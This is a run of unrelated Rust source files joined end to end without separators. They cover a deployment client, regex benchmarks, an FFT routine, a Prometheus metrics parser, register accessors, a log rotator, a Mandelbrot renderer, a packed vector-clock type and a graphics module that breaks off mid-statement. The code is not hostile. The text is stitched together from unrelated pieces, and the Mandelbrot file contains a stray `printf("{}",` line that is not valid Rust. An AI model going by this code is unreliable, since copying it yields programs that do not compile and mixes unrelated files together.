drop(stream_write_); let pid: Option<Pid> = bincode::deserialize_from(&mut stream_read) .map_err(map_bincode_err) .unwrap(); let pid = pid.unwrap_or_else(|| { panic!("Deploy failed due to not being able to allocate process to any of the nodes") }); // TODO get resources from bridge crossbeam::scope(|scope| { let _ = scope.spawn(|| { let mut stdin = io::stdin(); loop { let mut buf: [u8; 1024] = unsafe { mem::uninitialized() }; let n = stdin.read(&mut buf).unwrap(); bincode::serialize_into( &mut stream_write.write(), &DeployInputEvent::Input(pid, 0, buf[..n].to_owned()), ) .unwrap(); if n == 0 { break; } } }); let mut exit_code = ExitStatus::Success; let mut ref_count = 1; let mut pids = HashSet::new(); let _ = pids.insert(pid); let mut formatter = if let Format::Human = format { Either::Left(Formatter::new( pid, if atty::is(atty::Stream::Stderr) { StyleSupport::EightBit } else { StyleSupport::None }, )) } else { Either::Right(io::stdout()) }; loop { let event: DeployOutputEvent = bincode::deserialize_from(&mut stream_read) .map_err(map_bincode_err) .expect("Bridge died"); match formatter { Either::Left(ref mut formatter) => formatter.write(&event), Either::Right(ref mut stdout) => { serde_json::to_writer(&mut *stdout, &event).unwrap(); stdout.write_all(b"\n").unwrap() } } match event { DeployOutputEvent::Spawn(pid, new_pid) => { assert_ne!(pid, new_pid); assert!(pids.contains(&pid)); ref_count += 1; let x = pids.insert(new_pid); assert!(x); } DeployOutputEvent::Output(pid, _fd, _output) => { assert!(pids.contains(&pid)); } DeployOutputEvent::Exit(pid, exit_code_) => { exit_code += exit_code_; ref_count -= 1; let x = pids.remove(&pid); assert!(x); // printer.eprint(format_args!(" {} {:?}\nremaining: {}\n", ansi_term::Style::new().bold().paint("exited:"), exit_code_, std::slice::SliceConcatExt::join(&*pids.iter().map(|pid|pretty_pid(pid,false).to_string()).collect::<Vec<_>>(), ","))); } } if ref_count == 0 { break; } } process::exit(exit_code.into()); }); }
use criterion::{ criterion_group, criterion_main, Bencher, Criterion, Throughput, }; use regex_automata::dfa::{dense, regex}; use regex_automata::nfa::thompson; use crate::inputs::*; mod inputs; fn is_match(c: &mut Criterion) { let corpus = SHERLOCK_HUGE; define(c, "is-match", "sherlock-huge", corpus, move |b| { let re = regex::Builder::new().build(r"\p{Greek}").unwrap(); // let re = re.forward().to_sparse().unwrap(); b.iter(|| { assert!(!re.is_match(corpus)); }); }); // let corpus = OPEN_ZH_SMALL; let corpus = SHERLOCK_SMALL; define(c, "is-match", "sherlock-small", corpus, move |b| { let re = regex::Builder::new().build(r"\p{Greek}").unwrap(); // let re = re.forward().to_sparse().unwrap(); b.iter(|| { assert!(!re.is_match(corpus)); }); }); let corpus = SHERLOCK_TINY; define(c, "is-match", "sherlock-tiny", corpus, move |b| { let re = regex::Builder::new().build(r"\p{Greek}").unwrap(); b.iter(|| { assert!(!re.is_match(corpus)); }); }); let corpus = EMPTY; define(c, "is-match", "empty", corpus, move |b| { let re = regex::Builder::new().build(r"\p{Greek}").unwrap(); b.iter(|| { assert!(!re.is_match(corpus)); }); }); } // \w has 128,640 codepoints. fn compile_unicode_word(c: &mut Criterion) { define_compile(c, "unicode-word", r"\w"); define_compile_reverse(c, "unicode-word", r"\w"); } // \p{Other_Math} has 1,362 codepoints fn compile_unicode_other_math(c: &mut Criterion) { define_compile(c, "unicode-other-math", r"\p{Other_Math}"); } // \p{Other_Uppercase} has 120 codepoints fn compile_unicode_other_uppercase(c: &mut Criterion) { define_compile( c, "unicode-other-uppercase", r"\p{any}*?\p{Other_Uppercase}", ); } fn compile_muammar(c: &mut Criterion) { define_compile( c, "muammar", r"\p{any}*?M[ou]'?am+[ae]r .*([AEae]l[- ])?[GKQ]h?[aeu]+([dtz][dhz]?)+af[iy]", ); } fn define_compile(c: &mut Criterion, group_name: &str, pattern: &'static str) { let group = format!("fwd-compile/{}", group_name); define(c, &group, "default", &[], move |b| { b.iter(|| { let result = dense::Builder::new() .configure(dense::Config::new().anchored(true)) .build(pattern); assert!(result.is_ok()); }); }); } fn define_compile_reverse( c: &mut Criterion, group_name: &str, pattern: &'static str, ) { let group = format!("rev-compile/{}", group_name); define(c, &group, "default", &[], move |b| { b.iter(|| { let result = dense::Builder::new() .configure(dense::Config::new().anchored(true)) .thompson(thompson::Config::new().reverse(true)) .build(pattern); assert!(result.is_ok()); }); }); } fn define( c: &mut Criterion, group_name: &str, bench_name: &str, corpus: &[u8], bench: impl FnMut(&mut Bencher) + 'static, ) { c.benchmark_group(group_name) .throughput(Throughput::Bytes(corpus.len() as u64)) .sample_size(15) .warm_up_time(std::time::Duration::from_millis(500)) .measurement_time(std::time::Duration::from_secs(2)) .bench_function(bench_name, bench); } criterion_group!(g1, is_match); criterion_group!(g2, compile_unicode_other_math); criterion_group!(g3, compile_unicode_other_uppercase); criterion_group!(g4, compile_muammar); criterion_group!(g5, compile_unicode_word); criterion_main!(g1, g2, g3, g4, g5);
use rustfft::{num_complex::Complex, FftPlanner}; pub fn compute(signal: &Vec<f64>) -> Vec<f64> { let fft_len = signal.len(); let fft = FftPlanner::new().plan_fft_forward(fft_len); let mut fft_buffer: Vec<_> = signal .iter() .map(|&sample| Complex::new(sample, 0_f64)) .collect(); fft.process(&mut fft_buffer); let amp_spectrum: Vec<f64> = fft_buffer .iter() .take(fft_buffer.len() / 2) .map(|bin| { let tmp = bin.re.powf(2_f64) + bin.im.powf(2_f64); tmp.sqrt() }) .collect(); return amp_spectrum; } #[cfg(test)] mod tests { use super::compute; use crate::utils::test; use std::f64; const FLOAT_PRECISION: f64 = 0.333_333; fn test_against(dataset: &test::data::TestDataSet) -> () { let amp_spec = compute(&dataset.signal); test::data::approx_compare_vec( &amp_spec, &dataset.features.amplitudeSpectrum, FLOAT_PRECISION, ); } #[test] fn test_amplitude_spectrum() { let datasets = test::data::get_all(); for dataset in datasets.iter() { test_against(dataset); } } }
/// The macro for making a union of materials. /// /// You can read more about the technique [here](https://clay-rs.github.io/knowledge/#objects). #[macro_export] macro_rules! material_select { ( $Select:ident { $( $Enum:ident ( $Param:ident = $Material:ty ) ),+ $(,)? } ) => { $crate::instance_select!( $Select: $crate::material::Material: $crate::material::MaterialClass { $( $Enum($Param = $Material) ),+ } ); impl Material for $Select { fn brightness(&self) -> f64 { match self { $( $Select::$Enum(m) => m.brightness(), )+ } } } }; } #[cfg(test)] mod check { use crate::{ material::{ Material, test::TestMaterial, }, material_select, }; material_select!( TestSelect { Material1(T1 = TestMaterial<i32>), Material2(T2 = TestMaterial<f32>), } ); }
use crate::comment::{comment_parser, CommentType}; use crate::common::empty_line_parser; use crate::samples::{parse_sample, SampleEntry}; use crate::types::{Err, Metric, MetricType, Sample}; use nom::branch::alt; use nom::combinator::map; use nom::IResult; use std::collections::HashMap; // Restrict this to internal visibility only pub(crate) mod comment; pub(crate) mod common; pub(crate) mod samples; pub mod types; #[derive(Debug)] enum LineType<'a> { Empty, Sample(SampleEntry<'a>), Comment(CommentType<'a>), } fn parse_line(input: &str) -> IResult<&str, LineType> { alt(( map(comment_parser, |l| LineType::Comment(l)), map(parse_sample, |l| LineType::Sample(l)), map(empty_line_parser, |_| LineType::Empty), ))(input) } struct InputIter<'a>(&'a str); impl<'a> Iterator for InputIter<'a> { type Item = Result<LineType<'a>, Err>; fn next(&mut self) -> Option<Self::Item> { if self.0.len() == 0 { None } else { match parse_line(self.0) { Ok(res) => { self.0 = res.0; Some(Ok(res.1)) } Result::Err(err) => Some(Result::Err(Err::from(err))), } } } } impl<'a> Into<Metric> for SampleEntry<'a> { fn into(self) -> Metric { Metric { name: self.name.to_string(), data_type: MetricType::Untyped, samples: vec![self.into()], } } } impl<'a> Into<Sample> for SampleEntry<'a> { fn into(self) -> Sample { Sample { labels: self .labels .iter() .map(|(&k, v)| (k.to_string(), v.to_string())) .collect(), value: self.value, timestamp: self.timestamp_ms, } } } impl Metric { fn append_sample_entry(&mut self, s: SampleEntry) { assert_eq!( s.name, self.name, "Names should be equal when calling update on a metric" ); self.push_sample(s.into()); } fn append_type_def(&mut self, s: &str, t: MetricType) { assert_eq!( s, &self.name[..], "Names should be equal when calling update on a metric" ); self.data_type = t; } } fn add_comment<'a, 'b>(map: &mut HashMap<&'a str, Metric>, c: CommentType<'a>) { if let CommentType::Type(s, t) = c { if let Some(x) = map.get_mut(s) { x.append_type_def(s, t); } else { map.insert(s, Metric::new(s, t)); } } } fn add_sample<'a, 'b>(map: &'b mut HashMap<&'a str, Metric>, s: SampleEntry<'a>) { if let Some(x) = map.get_mut(s.name) { x.append_sample_entry(s); } else { map.insert(s.name, s.into()); }; } /// Parse a string and return a vector of metrics extracted from it. pub fn parse_complete<'a>(input: &'a str) -> Result<Vec<Metric>, Err> { let mut acc: HashMap<&'a str, Metric> = HashMap::new(); for l in InputIter(input) { match l? { LineType::Comment(c) => add_comment(&mut acc, c), LineType::Sample(s) => add_sample(&mut acc, s), LineType::Empty => {} }; } let mut res: Vec<Metric> = acc.drain().map(|(_, v)| v).collect(); // Make the order constant res.sort_unstable_by(|a, b| a.name.cmp(&b.name)); Ok(res) } #[cfg(test)] fn assert_metric(m: &Metric, name: &str, tpe: MetricType, samples: Vec<Sample>) { assert_eq!(m.name, name, "name {:?}", m); assert_eq!(m.data_type, tpe, "type {:?}", m); assert_eq!(m.samples, samples); } #[test] fn test_parse_summary() { let res = parse_complete( r#" # TYPE chain_account_commits summary chain_account_commits {quantile="0.5"} 0 # TYPE chain_account_commits summary chain_account_commits {quantile="0.75"} 123 # TYPE chain_account_commits summary chain_account_commits {quantile="0.95"} 50 "#, ) .unwrap(); assert_eq!(res.len(), 1); assert_metric( &res[0], "chain_account_commits", MetricType::Summary, vec![ Sample::new(0f64, Option::None, vec!["quantile", "0.5"]), Sample::new(123f64, Option::None, vec!["quantile", "0.75"]), Sample::new(50f64, Option::None, vec!["quantile", "0.95"]), ], ); } #[test] fn test_parse_complete() { let res = parse_complete( r#" # HELP http_requests_total The total number of HTTP requests. # TYPE http_requests_total counter http_requests_total{method="post",code="200"} 1027 1395066363000 http_requests_total{method="post",code="400"} 1028 1395066363000 rpc_duration_seconds_count 2693 "#, ) .unwrap(); assert_eq!(res.len(), 2); assert_metric( &res[0], "http_requests_total", MetricType::Counter, vec![ Sample::new( 1027f64, Option::Some(1395066363000), vec!["method", "post", "code", "200"], ), Sample::new( 1028f64, Option::Some(1395066363000), vec!["method", "post", "code", "400"], ), ], ); assert_metric( &res[1], "rpc_duration_seconds_count", MetricType::Untyped, vec![Sample::new(2693f64, None, vec![])], ); }
#[doc = "Reader of register HFXOSTEADYSTATECTRL"] pub type R = crate::R<u32, super::HFXOSTEADYSTATECTRL>; #[doc = "Writer for register HFXOSTEADYSTATECTRL"] pub type W = crate::W<u32, super::HFXOSTEADYSTATECTRL>; #[doc = "Register HFXOSTEADYSTATECTRL `reset()`'s with value 0xa30b_4507"] impl crate::ResetValue for super::HFXOSTEADYSTATECTRL { type Type = u32; #[inline(always)] fn reset_value() -> Self::Type { 0xa30b_4507 } } #[doc = "Reader of field `IBTRIMXOCORE`"] pub type IBTRIMXOCORE_R = crate::R<u8, u8>; #[doc = "Write proxy for field `IBTRIMXOCORE`"] pub struct IBTRIMXOCORE_W<'a> { w: &'a mut W, } impl<'a> IBTRIMXOCORE_W<'a> { #[doc = r"Writes raw bits to the field"] #[inline(always)] pub unsafe fn bits(self, value: u8) -> &'a mut W { self.w.bits = (self.w.bits & !0x7f) | ((value as u32) & 0x7f); self.w } } #[doc = "Reader of field `REGISH`"] pub type REGISH_R = crate::R<u8, u8>; #[doc = "Write proxy for field `REGISH`"] pub struct REGISH_W<'a> { w: &'a mut W, } impl<'a> REGISH_W<'a> { #[doc = r"Writes raw bits to the field"] #[inline(always)] pub unsafe fn bits(self, value: u8) -> &'a mut W { self.w.bits = (self.w.bits & !(0x0f << 7)) | (((value as u32) & 0x0f) << 7); self.w } } #[doc = "Reader of field `CTUNE`"] pub type CTUNE_R = crate::R<u16, u16>; #[doc = "Write proxy for field `CTUNE`"] pub struct CTUNE_W<'a> { w: &'a mut W, } impl<'a> CTUNE_W<'a> { #[doc = r"Writes raw bits to the field"] #[inline(always)] pub unsafe fn bits(self, value: u16) -> &'a mut W { self.w.bits = (self.w.bits & !(0x01ff << 11)) | (((value as u32) & 0x01ff) << 11); self.w } } #[doc = "Reader of field `REGSELILOW`"] pub type REGSELILOW_R = crate::R<u8, u8>; #[doc = "Write proxy for field `REGSELILOW`"] pub struct REGSELILOW_W<'a> { w: &'a mut W, } impl<'a> REGSELILOW_W<'a> { #[doc = r"Writes raw bits to the field"] #[inline(always)] pub unsafe fn bits(self, value: u8) -> &'a mut W { self.w.bits = (self.w.bits & !(0x03 << 24)) | (((value as u32) & 0x03) << 24); self.w } } #[doc = "Reader of field `PEAKDETEN`"] pub type PEAKDETEN_R = crate::R<bool, bool>; #[doc = "Write proxy for field `PEAKDETEN`"] pub struct PEAKDETEN_W<'a> { w: &'a mut W, } impl<'a> PEAKDETEN_W<'a> { #[doc = r"Sets the field bit"] #[inline(always)] pub fn set_bit(self) -> &'a mut W { self.bit(true) } #[doc = r"Clears the field bit"] #[inline(always)] pub fn clear_bit(self) -> &'a mut W { self.bit(false) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bit(self, value: bool) -> &'a mut W { self.w.bits = (self.w.bits & !(0x01 << 26)) | (((value as u32) & 0x01) << 26); self.w } } #[doc = "Reader of field `REGISHUPPER`"] pub type REGISHUPPER_R = crate::R<u8, u8>; #[doc = "Write proxy for field `REGISHUPPER`"] pub struct REGISHUPPER_W<'a> { w: &'a mut W, } impl<'a> REGISHUPPER_W<'a> { #[doc = r"Writes raw bits to the field"] #[inline(always)] pub unsafe fn bits(self, value: u8) -> &'a mut W { self.w.bits = (self.w.bits & !(0x0f << 28)) | (((value as u32) & 0x0f) << 28); self.w } } impl R { #[doc = "Bits 0:6 - Sets the Steady State Oscillator Core Bias Current."] #[inline(always)] pub fn ibtrimxocore(&self) -> IBTRIMXOCORE_R { IBTRIMXOCORE_R::new((self.bits & 0x7f) as u8) } #[doc = "Bits 7:10 - Sets the Steady State Regulator Output Current Level (shunt Regulator)"] #[inline(always)] pub fn regish(&self) -> REGISH_R { REGISH_R::new(((self.bits >> 7) & 0x0f) as u8) } #[doc = "Bits 11:19 - Sets Oscillator Tuning Capacitance"] #[inline(always)] pub fn ctune(&self) -> CTUNE_R { CTUNE_R::new(((self.bits >> 11) & 0x01ff) as u16) } #[doc = "Bits 24:25 - Controls Regulator Minimum Shunt Current Detection Relative to Nominal"] #[inline(always)] pub fn regselilow(&self) -> REGSELILOW_R { REGSELILOW_R::new(((self.bits >> 24) & 0x03) as u8) } #[doc = "Bit 26 - Enables Oscillator Peak Detectors"] #[inline(always)] pub fn peakdeten(&self) -> PEAKDETEN_R { PEAKDETEN_R::new(((self.bits >> 26) & 0x01) != 0) } #[doc = "Bits 28:31 - Set Regulator Output Current Level (shunt Regulator). Ish = 120uA + REGISHUPPER X 120uA"] #[inline(always)] pub fn regishupper(&self) -> REGISHUPPER_R { REGISHUPPER_R::new(((self.bits >> 28) & 0x0f) as u8) } } impl W { #[doc = "Bits 0:6 - Sets the Steady State Oscillator Core Bias Current."] #[inline(always)] pub fn ibtrimxocore(&mut self) -> IBTRIMXOCORE_W { IBTRIMXOCORE_W { w: self } } #[doc = "Bits 7:10 - Sets the Steady State Regulator Output Current Level (shunt Regulator)"] #[inline(always)] pub fn regish(&mut self) -> REGISH_W { REGISH_W { w: self } } #[doc = "Bits 11:19 - Sets Oscillator Tuning Capacitance"] #[inline(always)] pub fn ctune(&mut self) -> CTUNE_W { CTUNE_W { w: self } } #[doc = "Bits 24:25 - Controls Regulator Minimum Shunt Current Detection Relative to Nominal"] #[inline(always)] pub fn regselilow(&mut self) -> REGSELILOW_W { REGSELILOW_W { w: self } } #[doc = "Bit 26 - Enables Oscillator Peak Detectors"] #[inline(always)] pub fn peakdeten(&mut self) -> PEAKDETEN_W { PEAKDETEN_W { w: self } } #[doc = "Bits 28:31 - Set Regulator Output Current Level (shunt Regulator). Ish = 120uA + REGISHUPPER X 120uA"] #[inline(always)] pub fn regishupper(&mut self) -> REGISHUPPER_W { REGISHUPPER_W { w: self } } }
extern crate nix; use clap::{App, Arg}; use std::fs::{File, rename}; use std::io; use std::os::unix::io::AsRawFd; use nix::fcntl::{splice, SpliceFFlags}; const BUF_SIZE: usize = 16384; const WRAP_AFTER: usize = 4 * BUF_SIZE; fn main() { let stdin = io::stdin(); let _handle = stdin.lock(); let mut file_index = 0; let mut output = File::create("current.txt").expect(&format!("Could not create file")); let mut written_bytes = 0; loop { let res = splice( stdin.as_raw_fd(), None, output.as_raw_fd(), None, BUF_SIZE, SpliceFFlags::empty(), ) .unwrap(); if res == 0 { // We read 0 bytes from the input, // which means we're done copying. break; } written_bytes += res; if written_bytes >= WRAP_AFTER { written_bytes = 0; println!("Rotating file!"); // "close" current file drop(output); // rename it to file_index rename("current.txt", file_index.to_string() + ".txt").unwrap(); // reopen current output = File::create("current.txt").expect(&format!("Could not create new current.txt")); // increment file_index file_index = (file_index + 1) % 5; } } } fn _setup_arguments() -> clap::ArgMatches<'static> { let matches = App::new("rlog") .version("0.1.0") .author("Remko van Wagensveld") .about("Log stdin to rotating logfiles") .arg( Arg::with_name("path") .short("p") .long("path") .value_name("PATH") .help("Set the path to log to.") .takes_value(true), ) .get_matches(); matches }
use actix_web::{middleware, App, HttpServer}; use dotenv::dotenv; mod image; #[actix_rt::main] async fn main() -> std::io::Result<()> { dotenv().ok(); //let host = env::var("host").expect("host not set"); //let port = env::var("port").expect("port not set"); let host = String::from("127.0.0.1"); let port = String::from("8000"); HttpServer::new(|| { App::new() .wrap(middleware::Logger::default()) .configure(image::init_routes) }) .bind(format!("{}:{}", host, port))? .run() .await }
use firefly_session::Input; /// Maps to an interned instance of Input #[derive(Copy, Clone, Debug, Hash, PartialEq, Eq)] pub struct InternedInput(salsa::InternId); impl From<u32> for InternedInput { #[inline] fn from(i: u32) -> Self { Self(i.into()) } } impl salsa::InternKey for InternedInput { fn from_intern_id(id: salsa::InternId) -> Self { Self(id) } fn as_intern_id(&self) -> salsa::InternId { self.0 } } #[salsa::query_group(InternerStorage)] pub trait Interner: salsa::Database { #[salsa::interned] fn intern_input(&self, input: Input) -> InternedInput; }
struct Number { odd: bool, value: i32, } fn print_number(n: Number) { if let Number { odd: true, value } = n { println!("Odd number: {}", value); } else if let Number { odd: false, value } = n { println!("Even number: {}", value); } } fn main() { let one = Number { odd: true, value: 1 }; let two = Number { odd: false, value: 2 }; print_number(one); print_number(two); }
mod color; use crate::color::{hsl_to_rgb, Color}; use image::{ImageBuffer, RgbaImage, Progress}; use rand::Rng; use rand_pcg::Pcg64Mcg; use std::path::Path; use std::time::Instant; use std::sync::{Arc, Mutex}; use rayon::prelude::*; const PX: f64 = -0.5557506; const PY: f64 = -0.5556003; const PH: f64 = 0.0000000007; // Quality const IMG_WIDTH: u32 = 1024; const IMG_HEIGHT: u32 = 768; const MAX_ITER: i32 = 5000; const SAMPLES: u8 = 128; const RATIO: f64 = IMG_WIDTH as f64 / IMG_HEIGHT as f64; pub fn main() { println!("Generating Image...."); let path = Path::new(r"./output.png"); let image = Arc::new(Mutex::new(ImageBuffer::new(IMG_WIDTH, IMG_HEIGHT))); let start = Instant::now(); render(&image); let duration = start.elapsed(); println!("Render time = {:.2?}", duration); match image.lock().unwrap().save(path) { Ok(_) => println!("Image saved successfully to {}", path.display()), Err(_) => eprint!("Error writing image file {}", path.display()), }; } pub fn render(image: &Arc<Mutex<RgbaImage>>) { for y in 0..IMG_HEIGHT { (0..IMG_WIDTH).into_par_iter().for_each(|x| { let local_image = image.clone(); let mut rng = Pcg64Mcg::new(0xcafebabeffff); let mut r: i32 = 0; let mut g: i32 = 0; let mut b: i32 = 0; for _ in 0..SAMPLES { let nx: f64 = PH * RATIO * ((x as f64 + rng.gen::<f64>()) / IMG_WIDTH as f64) + PX; let ny: f64 = PH * ((y as f64) + rng.gen::<f64>()) / (IMG_HEIGHT as f64) + PY; let c = paint(mandelbrot_iter(nx, ny, MAX_ITER)); r = r + c.r as i32; g = g + c.g as i32; b = b + c.b as i32; } let cr = (r as f64 / SAMPLES as f64) as u8; let cg = (g as f64 / SAMPLES as f64) as u8; let cb = (b as f64 / SAMPLES as f64) as u8; local_image.lock().expect("Could Not get lock on image buffer mutex") .put_pixel(x, y, image::Rgba([cr, cg, cb, 255])); }); printf("{}", } } fn paint((r, n): (f64, i32)) -> Color { let inside_set = Color::new(255, 255, 255, 255); if r > 4.0 { return hsl_to_rgb(n as f64 / 800.0 * r, 1.0, 0.5); } inside_set } fn mandelbrot_iter(px_var: f64, py_var: f64, max_iter_var: i32) -> (f64, i32) { let mut x: f64 = 0.0; let mut y: f64 = 0.0; let mut xx: f64 = 0.0; let mut yy: f64 = 0.0; let mut xy; for i in 0..max_iter_var { xx = x * x; yy = y * y; xy = x * y; if xx + yy > 4.0 { return (xx + yy, i); } x = xx - yy + px_var; y = 2.0 * xy + py_var; } (xx + yy, MAX_ITER) }
use super::{overflow, Loc, Shift, Ts, TsDiff}; use crate::index::Index; use crate::util::*; use std::{fmt, ops}; #[derive(Copy, Clone, PartialEq, Eq, PartialOrd, Ord, Hash)] #[repr(transparent)] pub struct ViewDiff(u64); #[derive(Copy, Clone, PartialEq, Eq, PartialOrd, Ord, Hash)] #[repr(transparent)] pub struct View(pub ViewDiff); impl ViewDiff { pub const ZERO: ViewDiff = Self(0); #[inline(always)] fn from_u64(v: u64) -> Self { Self(v) } #[inline(always)] fn as_u64(self) -> u64 { self.0 } #[inline] pub fn saturating_sub(a: View, b: View) -> Self { let a = a.0.as_u64(); let b = b.0.as_u64(); let mask = ((b.wrapping_sub(a) >> 7) & 0x01010101_01010101) * 255; Self::from_u64((a & mask) - (b & mask)) } #[inline] pub fn checked_sub(a: View, b: View) -> Option<Self> { let a = a.0.as_u64(); let b = b.0.as_u64(); let r = a.wrapping_sub(b); if r & 0x80808080_80808080 != 0 { return None; } Some(Self::from_u64(r)) } #[inline] pub fn is_after(self, other: Self) -> bool { let a = self.as_u64(); let b = other.as_u64(); let diff = a.wrapping_sub(b); (diff >> 7) & 0x80808080_80808080 == 0 } #[inline] pub fn get(&self, l: Loc) -> TsDiff { let l = l.as_usize(); if l >= 8 { overflow(); } let shift = l * 8; unsafe { TsDiff::from_usize_unchecked(((self.as_u64() >> shift) & 255) as usize) } } #[inline] pub fn set(&mut self, l: Loc, t: TsDiff) { *self = self.with_set(l, t); } #[inline(always)] pub fn with_set(self, l: Loc, t: TsDiff) -> Self { let l = l.as_usize(); if l >= 8 { overflow(); } let shift = l * 8; let mask = 255 << shift; Self::from_u64(self.as_u64() & !mask | ((t.as_usize() as u64) << shift)) } pub fn with_shift(self, l: Loc, t: TsDiff) -> Self { if self.get(l) < t { self.clone() } else { self.with_bump(l, TsDiff::ONE) } } #[inline] pub fn bump(&mut self, l: Loc, dt: TsDiff) { *self = self.with_bump(l, dt); } #[inline] pub fn with_bump(self, l: Loc, dt: TsDiff) -> Self { let l = l.as_usize(); if l >= 8 { overflow(); } let shift = l * 8; let r = self.as_u64() + ((dt.as_usize() as u64) << shift); if r & 0x80808080_80808080 != 0 { overflow(); } Self::from_u64(r) } #[inline] pub fn with_max(&self, other: Self) -> Self { let a = self.as_u64(); let b = other.as_u64(); let mask = ((b.wrapping_sub(a) >> 7) & 0x01010101_01010101) * 255; Self::from_u64((a & mask) | (b & !mask)) } } impl ViewDiff { pub const SER: usize = 2; pub fn serialize_into(self, out: &mut Vec<u32>) { let v = self.as_u64(); out.push_fast(v as u32); out.push_fast((v >> 32) as u32); } } impl ops::Add for ViewDiff { type Output = Self; #[inline] fn add(self, other: Self) -> Self { let a = self.as_u64(); let b = other.as_u64(); let r = a + b; if r & 0x80808080_80808080 != 0 { overflow() } Self::from_u64(r) } } impl ops::Sub for ViewDiff { type Output = Self; #[inline] fn sub(self, other: Self) -> Self { let a = self.as_u64(); let b = other.as_u64(); let r = a.wrapping_sub(b); if r & 0x80808080_80808080 != 0 { overflow() } Self::from_u64(r) } } impl fmt::Debug for ViewDiff { #[inline] fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { let as_ts = self.as_u64().to_le_bytes(); write!(f, "{:?}", as_ts) } } impl View { pub const ZERO: View = Self(ViewDiff::ZERO); #[inline(always)] pub fn with_bump(self, l: Loc, dt: TsDiff) -> Self { Self(self.0.with_bump(l, dt)) } #[inline(always)] pub fn with_max(self, other: Self) -> Self { Self(self.0.with_max(other.0)) } #[inline(always)] pub fn with_shift(self, s: Shift) -> Self { Self(self.0.with_shift(s.loc, s.t.0)) } #[inline(always)] pub fn get(self, l: Loc) -> Ts { Ts(self.0.get(l)) } #[inline(always)] pub fn set(&mut self, l: Loc, t: Ts) { self.0.set(l, t.0); } #[inline(always)] pub fn with_set(self, l: Loc, t: Ts) -> Self { Self(self.0.with_set(l, t.0)) } #[inline(always)] pub fn with_clear(self, l: Loc) -> Self { self.with_set(l, Ts(TsDiff::ZERO)) } #[inline] pub fn is_after(self, other: Self) -> bool { self.0.is_after(other.0) } } impl ops::Add<ViewDiff> for View { type Output = View; #[inline(always)] fn add(self, other: ViewDiff) -> Self { Self(self.0 + other) } } impl ops::Sub for View { type Output = ViewDiff; #[inline(always)] fn sub(self, other: Self) -> ViewDiff { self.0 - other.0 } } impl fmt::Debug for View { #[inline] fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { fmt::Debug::fmt(&self.0, f) } }
use anyhow::Result; use model::{ Account, GoogleId, HashSha256, PlayerStats, RankedScore, Score, ScoreId, Scores, Songs, VisibleAccount, }; pub trait PublishedUsers { fn fetch_users(&mut self) -> Result<Vec<VisibleAccount>>; } pub trait HealthCheck { fn health(&mut self) -> Result<()>; } pub trait AccountByUserId { fn user(&mut self, user_id: i32) -> Result<Account>; } pub trait AccountByGoogleId { fn user(&mut self, google_id: &GoogleId) -> Result<Account>; } pub trait ScoresByAccount { fn score(&mut self, account: &Account) -> Result<Scores>; } pub trait ScoresBySha256 { fn score(&mut self, hash: &HashSha256) -> Result<RankedScore>; } pub trait ScoreByAccountAndSha256 { fn score_with_log(&mut self, account: &Account, score_id: &ScoreId) -> Result<Score>; } pub trait StatsByAccount { fn stats(&mut self, account: &Account) -> Result<PlayerStats>; } pub trait RenameAccount { fn rename(&mut self, account: &Account) -> Result<()>; } pub trait ChangeAccountVisibility { fn change_visibility(&mut self, account: &Account) -> Result<()>; } pub trait AllSongData { fn song_data(&mut self) -> Result<Songs>; } pub trait SaveSongData { fn save_song(&mut self, songs: &Songs) -> Result<()>; } pub trait SaveScoreData { fn save_score(&mut self, account: &Account, score: &Scores) -> Result<()>; } pub trait SavePlayerStateData { fn save_player_states(&mut self, account: &Account, states: &PlayerStats) -> Result<()>; } pub trait ResetScore { fn reset_score(&mut self, account: &Account) -> Result<()>; }
//! This module implements adapted `web3` error types so that the errors in //! the parent module all implement `Sync`. Otherwise, dealing with propagating //! errors across threads can be tricky. use crate::abicompat::AbiCompat; use ethcontract_common::abi::Error as AbiError; use thiserror::Error; use web3::error::Error as Web3Error; /// An addapted `web3::contract::Error` that implements `Sync`. #[derive(Debug, Error)] pub enum Web3ContractError { /// Invalid output type requested by the caller. #[error("invalid output type: {0}")] InvalidOutputType(String), /// Eth ABI error. #[error("ABI error: {0}")] Abi(#[from] AbiError), /// RPC error. #[error("API error: {0}")] Api(Web3Error), } impl From<web3::contract::Error> for Web3ContractError { fn from(err: web3::contract::Error) -> Self { match err { web3::contract::Error::InvalidOutputType(value) => { Web3ContractError::InvalidOutputType(value) } web3::contract::Error::Abi(err) => Web3ContractError::Abi(err.compat()), web3::contract::Error::Api(err) => Web3ContractError::Api(err), } } }
#[allow(dead_code)] mod opengl; mod program; mod color; mod vertex; #[allow(dead_code)] mod renderer; mod image; mod texture; mod canvas; mod sprite_params; use opengl::BufferUsage; use renderer::{Renderer, RendererBuilder}; use texture::TextureHolder; pub use opengl::{PrimitiveType, FilterMode, Filter, WrapMode, Wrap}; pub use program::Program; pub use color::Color; pub use vertex::Vertex; pub use self::image::Image; pub(crate) use self::image::validate_pixels; pub use texture::{Texture, NO_TEXTURE}; pub use canvas::{Canvas, NO_CANVAS}; pub use sprite_params::SpriteDrawParams; use crate::error::{GameError, GameResult}; use crate::math::{Position, Point, Size, Region, Viewport}; use winit::window::Window; use winit::dpi::{LogicalPosition, LogicalSize, PhysicalSize}; use glutin::{ContextWrapper, PossiblyCurrent}; use glow::{Context, HasContext}; use glam::{Vec3, Vec4, Quat, Mat4}; use std::rc::Rc; const SPRITE_VERTEX_COUNT: usize = 4; const SPRITE_ELEMENT_COUNT: usize = 6; const SPRITE_ELEMENTS: [u32; SPRITE_ELEMENT_COUNT] = [ 0, 2, 1, 1, 2, 3 ]; #[derive(PartialEq)] struct DrawCommand { pub texture: Rc<opengl::Texture>, pub primitive: PrimitiveType, } pub struct Graphics { context_wrapper: Rc<ContextWrapper<PossiblyCurrent, Window>>, gl: Rc<Context>, size: Size, viewport: Viewport, projection_matrix: Mat4, default_program: Rc<opengl::Program>, program: Rc<opengl::Program>, default_filter: Filter, default_wrap: Wrap, default_texture: Rc<opengl::Texture>, canvas: Option<Rc<opengl::Framebuffer>>, renderer: Renderer, vertices: Vec<Vertex>, elements: Vec<u32>, draw_command: DrawCommand, } impl Graphics { pub(crate) fn new(graphics_config: GraphicsConfig, context_wrapper: Rc<ContextWrapper<PossiblyCurrent, Window>>) -> GameResult<Self> { let gl = Context::from_loader_function(|symbol| context_wrapper.get_proc_address(symbol).cast()); let gl = Rc::new(gl); let physical_size = context_wrapper.window().inner_size(); let scale_factor = context_wrapper.window().scale_factor(); let logical_size = physical_size.to_logical(scale_factor); let size 